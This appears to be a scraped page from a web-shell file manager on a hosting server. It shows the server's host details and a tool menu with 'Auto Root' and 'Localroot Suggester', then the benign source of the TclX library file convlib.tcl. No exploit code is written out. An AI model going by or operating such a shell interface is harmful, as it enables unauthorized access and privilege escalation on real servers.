Linux ams-business-8.hostwindsdns.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
LiteSpeed
Server IP : 192.236.177.161 & Your IP : 216.73.216.154
Domains :
Cant Read [ /etc/named.conf ]
User : ajzdfbpz
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
tcl8.5 /
tclx8.4 /
Delete
Unzip
Name
Size
Permission
Date
Action
arrayprocs.tcl
1.6
KB
-rw-r--r--
2002-04-02 03:00
autoload.tcl
2.22
KB
-rw-r--r--
2002-04-02 03:00
buildhelp.tcl
15.61
KB
-rw-r--r--
2005-03-25 19:32
compat.tcl
9.8
KB
-rw-r--r--
2001-10-24 23:31
convlib.tcl
3.86
KB
-rw-r--r--
2001-10-24 23:31
edprocs.tcl
1.95
KB
-rw-r--r--
2004-11-23 00:35
events.tcl
1.03
KB
-rw-r--r--
2001-10-24 23:31
fmath.tcl
2.19
KB
-rw-r--r--
2002-04-02 03:00
forfile.tcl
1.4
KB
-rw-r--r--
2001-10-24 23:31
globrecur.tcl
3.11
KB
-rw-r--r--
2001-10-24 23:31
help.tcl
10.36
KB
-rw-r--r--
2004-11-23 05:54
libtclx8.4.so
155.52
KB
-rwxr-xr-x
2014-06-10 00:30
pkgIndex.tcl
77
B
-rw-r--r--
2014-06-10 00:30
profrep.tcl
5.1
KB
-rw-r--r--
2001-10-24 23:31
pushd.tcl
1.83
KB
-rw-r--r--
2001-10-24 23:31
setfuncs.tcl
2.92
KB
-rw-r--r--
2001-10-24 23:31
showproc.tcl
1.46
KB
-rw-r--r--
2001-10-24 23:31
stringfile.tcl
1.38
KB
-rw-r--r--
2001-10-24 23:31
tcllib.tcl
4.32
KB
-rw-r--r--
2001-10-24 23:31
tclx.tcl
2.05
KB
-rw-r--r--
2005-11-21 18:37
Save
Rename
# # convlib.tcl -- # # Convert Ousterhout style tclIndex files and associated libraries to a # package library. # #------------------------------------------------------------------------------ # Copyright 1992-1999 Karl Lehenbauer and Mark Diekhans. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, provided # that the above copyright notice appear in all copies. Karl Lehenbauer and # Mark Diekhans make no representations about the suitability of this # software for any purpose. It is provided "as is" without express or # implied warranty. #------------------------------------------------------------------------------ # $Id: convlib.tcl,v 1.1 2001/10/24 23:31:48 hobbs Exp $ #------------------------------------------------------------------------------ # #@package: TclX-convertlib convert_lib namespace eval TclX { #-------------------------------------------------------------------------- # ParseTclIndex # Parse a tclIndex file, returning an array of file names with the list of # procedures in each package. This is done by sourcing the file and then # going through the local auto_index array that was created. Issues # warnings for lines that can't be converted. # # Returns 1 if all lines are converted, 0 if some failed. # proc ParseTclIndex {tclIndex fileTblVar ignore} { upvar $fileTblVar fileTbl set allOK 1 # Open and validate the file. set tclIndexFH [open $tclIndex r] try_eval { set hdr [gets $tclIndexFH] if {!([cequal $hdr {# Tcl autoload index file, version 2.0}] || [cequal $hdr == {# Tcl autoload index file, version 2.0 for [incr Tcl]}])} { error "can only convert version 2.0 Tcl auto-load files" } set dir [file dirname $tclIndex] ;# Expected by the script. eval [read $tclIndexFH] } {} { close $tclIndexFH } foreach procName [array names auto_index] { if ![string match "source *" $auto_index($procName)] { puts stderr "WARNING: Can't convert load command for\ \"$procName\": $auto_index($procName)" set allOK 0 continue } set filePath [lindex $auto_index($procName) 1] set fileName [file tail $filePath] if {[lsearch $ignore $fileName] >= 0} continue lappend fileTbl($filePath) $procName } if ![info exists fileTbl] { error "no entries could be converted in $tclIndex" } return $allOK } } ;# namespace TclX #-------------------------------------------------------------------------- # convert_lib: # Convert a tclIndex library to a .tlib. ignore any files in the ignore # list proc convert_lib {tclIndex packageLib {ignore {}}} { if {[file tail $tclIndex] != "tclIndex"} { error "Tail file name must be `tclIndex': $tclIndex"} if ![file readable $tclIndex] { error "File not readable: $tclIndex" } # Parse the file. set allOK [TclX::ParseTclIndex $tclIndex fileTbl $ignore] # Generate the .tlib package names with contain the directory and # file name, less any extensions. if {[file extension $packageLib] != ".tlib"} { append packageLib ".tlib" } set libFH [open $packageLib w] foreach srcFile [array names fileTbl] { set pkgName [file tail [file dirname $srcFile]]/[file tail [file root $srcFile]] set srcFH [open $srcFile r] puts $libFH "#@package: $pkgName $fileTbl($srcFile)\n" copyfile $srcFH $libFH close $srcFH } close $libFH buildpackageindex $packageLib if !$allOK { error "*** Not all entries converted, but library generated" } }